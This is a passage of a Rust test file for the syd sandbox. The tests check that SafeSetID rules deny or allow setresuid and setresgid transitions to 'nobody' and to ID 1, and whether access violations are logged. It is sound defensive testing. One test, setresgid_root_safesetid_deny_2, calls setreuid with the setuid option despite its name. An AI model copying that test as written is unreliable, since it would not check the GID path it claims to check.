            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_7() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["1", "1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_1() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_2() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_3() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_4() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_5() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_6() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_7() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_default_1() -> TestResult {
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_default_2() -> TestResult {
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_default_3() -> TestResult {
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_default_4() -> TestResult {
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_default_5() -> TestResult {
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_default_6() -> TestResult {
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_default_7() -> TestResult {
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_1() -> TestResult {
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_2() -> TestResult {
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_3() -> TestResult {
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_4() -> TestResult {
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_5() -> TestResult {
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_6() -> TestResult {
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_7() -> TestResult {
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_1() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["-1", "-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_2() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["-1", "1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_3() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["1", "-1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_4() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["-1", "1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_5() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["1", "1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_6() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["1", "-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_7() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["1", "1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_1() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_2() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_3() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_4() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_5() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_6() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_7() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
